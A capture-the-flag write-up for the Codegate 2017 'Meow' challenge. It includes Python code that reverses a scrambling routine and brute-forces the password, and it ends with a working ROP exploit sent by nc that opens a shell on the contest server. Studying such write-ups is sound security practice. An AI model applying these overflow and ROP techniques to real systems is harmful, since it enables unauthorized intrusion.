social



Codegate 2017 Prequals - Meow writeup

We're given a binary which won't lauch without libcrypto1.0.0.so, and when launched asks for a password. Upon examination, turns out that the password should be at most 10 characters long, with its md5 hash equal to 9f46a92422658f61a80ddee78e7db914 (that's where the OpenSSL import comes in, but the implementation is practically identical to that of the latest version, so can't imagine why 1.0.0 was used). After the check, the binary processes two small chunks of memory, at 0x12000 and 0x14000, with a function at 0xD1D (which seems to be shuffling some parts around and xorring them with the password), makes them executable and calls 0x12000 when you supply '3' as the answer to a question about pets.

So, aside from bruteforcing the md5 hash of a 10 character password (not in rainbow tables the last time I've checked), what can we do?

Well, as the code at 0x12000 gets called and not jumped into, it's probably safe to assume it's a function and as such should be starting with push rbp; mov rbp, rsp; and ending with leave; ret, or, respecively, bytes 55 48 89 E5 and C9 C3. Looks just like this challenge here doesn't it? So we can follow the original bytes from 0x12000, find out which ones end up being the four starting and twolast, note the positions of the password characters they get xorred along the way and try to restore the password from that information.

The shuffling/xorring algorithm of 0xD1D isn't that hard to understand, so I had a python implementation done:

import binascii

mem_orig = "F1 64 72 4A 4F 48 4D BA 77 73 1D 34 F5 AF B8 0F 24 56 11 65 47 A3 2F 73 A4 56 4F 70 4A 13 57 9C 3F 6F 06 61 40 90 AF 39 10 29 34 C3 00 7A 40 3D 4E 3F 0E 2A 2F 20 7F 73 89 7D 4B 1D 09 AA D0 00 21 89 4D 2A 67 7C 18 3B 39 F2 8D 1C A7 71 57 2E 31 14 67 48 3C 7D AF 70 AE 10 31 68 D1 26 05 C8 25 F2 62 F5 5D 38 34 F2 20 0E 7E 9F FB 57 72 26 57 67 15 10 15 13 B9 3E 79 89 5D 24 12 01 98 7B 18 25 E0 DF 7C 24 1B 2D 44 B0 10 3D 57 3D 62 B4 21 1D 3E D1 10 D7 45 74 96 2B 6D 3B ED 10 00 67 31 DF 6C B8 86 1A 7C 6B 64 78 C6 37 76 E6 61 A0 AD BE 4C BA A7 0D"
mem_orig = binascii.unhexlify(mem_orig.replace(" ", ""))

mem_count = ''.join([chr(x) for x in range(0xb6)])

xorred = [[] for x in range(0xb6)]

l = len(mem_count)

key = "\x00"*10

cur = 0
sh1 = 3
sh2 = l
out1 = ""
out2 = ""
for i in range(0, l - l%7, 7):
    tmp = mem_count[cur:cur+sh1]
    tmp += mem_count[(sh2 - 7 + sh1):sh2]
    for j, c in enumerate(tmp):
        xorred[ord(c)] += [j]
    out2 = tmp[:-sh1] + out2
    out1 += tmp[-sh1:]
    cur += sh1
    sh2 -= (7 - sh1)
    sh1 += 2
    if sh1 == 9:
        sh1 = 3

mem_count = out1 + mem_count[cur:sh2] + out2

cur = 0
sh1 = 5
sh2 = l
out1 = ""
out2 = ""
for i in range(0, l - l%5, 5):
    tmp = mem_count[cur:cur+sh1]
    tmp += mem_count[(sh2 - 5 + sh1):sh2]
    for j, c in enumerate(tmp):        
        xorred[ord(c)] += [j*2+1]
    out2 = tmp[:-sh1] + out2
    out1 += tmp[-sh1:]
    cur += sh1
    sh2 -= (5 - sh1)
    sh1 -=1
    if sh1 == 0:
        sh1 = 5

mem_count = out1 + mem_count[cur:sh2] + out2

cur = 0
sh1 = 4
sh2 = l
out1 = ""
out2 = ""
for i in range(0, l - l%10, 10):
    tmp = mem_count[cur:cur+sh1]
    tmp += mem_count[(sh2 - 10 + sh1):sh2]
    for j, c in enumerate(tmp):
        xorred[ord(c)] += [j]
    out2 = tmp[:-sh1] + out2
    out1 += tmp[-sh1:]
    cur += sh1
    sh2 -= (10 - sh1)
    sh1 +=1
    if sh1 == 9:
        sh1 = 4

mem_count = out1 + mem_count[cur:sh2] + out2

cur = 0
sh1 = 4
sh2 = l
out1 = ""
out2 = ""
for i in range(0, l - l%10, 10):
    tmp = mem_count[cur:cur+sh1]
    tmp += mem_count[(sh2 - 10 + sh1):sh2]
    for j, c in enumerate(tmp):
        xorred[ord(c)] += [j]
    out2 = tmp[:-sh1] + out2
    out1 += tmp[-sh1:]
    cur += sh1
    sh2 -= (10 - sh1)
    sh1 +=1
    if sh1 == 9:
        sh1 = 4

mem_count = out1 + mem_count[cur:sh2] + out2


print "Final positions are:"
pos = [ ord(c) for c in mem_count ]
print pos
print

print "Original values at new positions:"
print [ord(mem_orig[x]) for x in pos]
print

for i in [0,1,2,3,-2,-1]:
    print "Byte " + mem_orig[pos[i]].encode('hex') + " was xorred with: " + str(xorred[pos[i]])

It's a bit unpythonic at the actual algorithm parts because I was mostly following the binary along, but it works. Let's see now:

tr@karabut.com:~/work/ctf/cg17/meow$ python calculate.py 
Final positions are:
[181, 5, 12, 13, 6, 176, 177, 8, 178, 24, 25, 11, 1, 2, 4, 171, 160, 33, 27, 173, 174, 175, 18, 31, 32, 34, 29, 47, 23, 19, 169, 35, 42, 43, 36, 164, 165, 38, 46, 54, 55, 41, 49, 45, 154, 159, 91, 92, 57, 161, 162, 163, 77, 79, 75, 142, 59, 90, 53, 148, 157, 65, 72, 73, 66, 152, 153, 68, 94, 84, 85, 71, 136, 93, 106, 147, 125, 126, 87, 149, 150, 151, 120, 129, 123, 127, 89, 133, 83, 121, 145, 95, 102, 103, 96, 140, 141, 98, 132, 111, 112, 101, 119, 131, 117, 137, 138, 118, 115, 139, 110, 134, 104, 135, 113, 114, 116, 99, 100, 97, 143, 144, 86, 124, 80, 81, 146, 107, 109, 88, 128, 82, 74, 122, 130, 108, 105, 69, 70, 67, 155, 156, 56, 76, 50, 51, 158, 48, 61, 58, 78, 52, 44, 63, 64, 60, 62, 39, 40, 37, 167, 168, 26, 166, 20, 21, 170, 0, 172, 28, 30, 22, 14, 15, 16, 17, 3, 9, 10, 7, 179, 180]

Original values at new positions:
[13, 72, 245, 175, 77, 173, 190, 119, 76, 164, 86, 52, 100, 114, 79, 55, 49, 111, 112, 230, 97, 160, 17, 156, 63, 6, 19, 61, 115, 101, 120, 97, 52, 195, 64, 134, 26, 175, 64, 127, 115, 41, 63, 122, 109, 103, 104, 209, 125, 223, 108, 184, 113, 46, 28, 98, 29, 49, 32, 16, 16, 137, 57, 242, 77, 150, 43, 103, 5, 60, 125, 59, 68, 38, 126, 209, 1, 152, 112, 215, 69, 116, 121, 37, 36, 123, 16, 36, 72, 137, 29, 200, 52, 242, 37, 87, 61, 98, 124, 38, 87, 56, 62, 223, 19, 176, 16, 185, 16, 61, 114, 27, 32, 45, 103, 21, 21, 245, 93, 242, 180, 33, 175, 18, 49, 20, 62, 159, 87, 174, 24, 103, 141, 93, 224, 251, 14, 124, 24, 42, 59, 237, 137, 167, 14, 42, 0, 78, 170, 75, 87, 47, 0, 0, 33, 9, 208, 57, 16, 144, 107, 100, 79, 124, 71, 163, 198, 241, 118, 74, 87, 47, 184, 15, 36, 86, 74, 115, 29, 186, 186, 167]

Byte 0d was xorred with: [6, 5, 2, 6]
Byte 48 was xorred with: [2, 7, 3, 7]
Byte f5 was xorred with: [4, 1, 4, 8]
Byte af was xorred with: [5, 3, 5, 9]
Byte ba was xorred with: [4, 1, 0, 4]
Byte a7 was xorred with: [5, 3, 1, 5]

So every byte we care of was xorred with a couple of identical characters once. Lucky start! That means of course that we can establish some relations between these pairs of key characters:

k25 = 0x0d ^ 0x55
k23 = 0x48 ^ 0x48
k18 = 0xf5 ^ 0x89
k39 = 0xaf ^ 0xe5
k01 = 0xba ^ 0xc9
k13 = 0xa7 ^ 0xc3

And what this means is we can actually bruteforce a single position (3 seems to be especially nice for this) and derive almost the entire password from that, with the exception of bytes 4, 6 and 7 -- so it makes it a four character bruteforce, then:

import hashlib
import string
import itertools
import sys

k25 = 0x0d ^ 0x55 
k23 = 0x48 ^ 0x48 
k18 = 0xf5 ^ 0x89 
k39 = 0xaf ^ 0xe5 
k01 = 0xba ^ 0xc9 
k13 = 0xa7 ^ 0xc3 

for k3 in range(32, 128):
    k1 = k13 ^ k3
    k0 = k01 ^ k1
    k2 = k23 ^ k3
    k5 = k25 ^ k2
    k8 = k18 ^ k1
    k9 = k39 ^ k3

    valid = True
    for c in [k0,k1,k2,k3,k5,k8,k9]:
        if chr(c) not in string.printable:
            valid = False
            break

    part1 = ''.join([chr(x) for x in [k0,k1,k2,k3]])
    part2 = chr(k5)
    part3 = chr(k8)+chr(k9)

    if valid:
        print "Testing: " + part1 + "?" + part2 + "??" + part3 + " ..."
        for word in itertools.product(string.printable, repeat=3):
            key = part1 + word[0] + part2 + word[1] + word[2] + part3
            if hashlib.md5(key).hexdigest() == "9f46a92422658f61a80ddee78e7db914":
                print key
                sys.exit()
tr@karabut.com:~/work/ctf/cg17/meow$ python brute.py 
Testing: 7D  ?x??8j ...
Testing: 6E!!?y??9k ...
Testing: 5F""?z??:h ...
Testing: 4G##?{??;i ...
Testing: 3@$$?|??<n ...
Testing: 2A%%?}??=o ...
Testing: 1B&&?~??>l ...
Testing: ?L((?p??0b ...
Testing: >M))?q??1c ...
Testing: =N**?r??2` ...
Testing: <O++?s??3a ...
Testing: ;H,,?t??4f ...
Testing: :I--?u??5g ...
Testing: 9J..?v??6d ...
Testing: 8K//?w??7e ...
Testing: 'T00?h??(z ...
Testing: &U11?i??){ ...
Testing: %V22?j??*x ...
Testing: $W33?k??+y ...
$W337k!++y

There's our password right here! Let's see what it does:

tr@karabut.com:~/work/ctf/cg17/meow$ ./meow
***** hello? *****
>>> $W337k!++y
- What kind of pet would you like to have?
- Select the number of pet!
1. angelfish
2. bear
3. cat
4. dog
5. I don't want pets
# number = 3
Did you choose a cat?????
What type of cat would you prefer? '0'
>>>aaaaaaaaaaaa
Segmentation fault

Alright, so it's probably a simple overflow there. Following it with gdb, we can dump the unscrambled memory at 0x12000 before the call and see what's there exactly:

0x12000: push rbp
0x12001: mov rbp,rsp
0x12004: sub rsp,0x60
0x12008: movabs rax,0x20756f7920646944
0x12012: mov QWORD PTR [rbp-0x60],rax
0x12016: movabs rax,0x612065736f6f6863
0x12020: mov QWORD PTR [rbp-0x58],rax
0x12024: movabs rax,0x3f3f3f3f74616320
0x1202e: mov QWORD PTR [rbp-0x50],rax
0x12032: movabs rax,0x7420746168570a3f
0x1203c: mov QWORD PTR [rbp-0x48],rax
0x12040: movabs rax,0x6320666f20657079
0x1204a: mov QWORD PTR [rbp-0x40],rax
0x1204e: movabs rax,0x646c756f77207461
0x12058: mov QWORD PTR [rbp-0x38],rax
0x1205c: movabs rax,0x65727020756f7920
0x12066: mov QWORD PTR [rbp-0x30],rax
0x1206a: movabs rax,0x273027203f726566
0x12074: mov QWORD PTR [rbp-0x28],rax
0x12078: mov DWORD PTR [rbp-0x20],0x3e3e3e0a
0x1207f: mov BYTE PTR [rbp-0x1c],0x0
0x12083: lea rax,[rbp-0x60]
0x12087: mov edx,0x44
0x1208c: mov rsi,rax
0x1208f: mov edi,0x1
0x12094: mov eax,0x1
0x12099: syscall
0x1209b: lea rax,[rbp+0x8]
0x1209f: mov edx,0x18
0x120a4: mov rsi,rax
0x120a7: mov edi,0x0
0x120ac: mov eax,0x0
0x120b1: syscall
0x120b3: nop
0x120b4: leave
0x120b5: ret

What about 0x14000?

0x14000: push rbp
0x14001: mov rbp,rsp
0x14004: sub rsp,0x10
0x14008: mov QWORD PTR [rbp-0x8],rdi
0x1400c: mov rax,QWORD PTR [rbp-0x8]
0x14010: mov edx,0x0
0x14015: mov esi,0x0
0x1401a: mov rdi,rax
0x1401d: mov eax,0x3b
0x14022: syscall
0x14024: nop
0x14025: leave
0x14026: ret
0x14027: add BYTE PTR [rax],al
0x14029: (bad)
0x1402a: (bad)
0x1402b: imul ebp,DWORD PTR [rsi+0x2f],0x6873
0x14032: add BYTE PTR [rax],al
0x14034: add BYTE PTR [rax],al
0x14036: pop rdi
0x14037: ret

Those 'bad' bytes from 0x14029 to 0x14036? That's '/bin/sh'!

So the binary reads 24 bytes from stdin, and they basically get to be at the top of the stack when the ret at 0x120b5 happens. That means we can have a 24-byte ROP, and there's execve at 0x14000 using the supplied rdi, '/bin/sh' at 0x14029 and a pop rdi, ret gadget staring at us right there at 0x14036. Well...

tr@karabut.com:~/work/ctf/cg17/meow$ (echo -ne '$W337k!++y3Q\x36\x40\x01\x00\x00\x00\x00\x00\x29\x40\x01\x00\x00\x00\x00\x00\x00\x40\x01\x00\x00\x00\x00\x00'; cat) | nc 110.10.212.139 50410
***** hello? *****
>>> - What kind of pet would you like to have?
- Select the number of pet!
1. angelfish
2. bear
3. cat
4. dog
5. I don't want pets
# number = Did you choose a cat?????
What type of cat would you prefer? '0'
>>>ls
fflag
whatpet
cat fflag
flag{what a lovely kitty!}

This challenge was a part of Codegate 2017 Qualifications, in which I played for LC/BC (cheers guys!); I was still getting a pesky bug out of the python implementation (turned out of course to be a stray minus sign) when Kirill Firsov (@k_firsov) came up with a password battle-ready after using pretty much the same tactic. Then everything went pretty fast, and I ended up fixing my code, as presented here, shortly after that.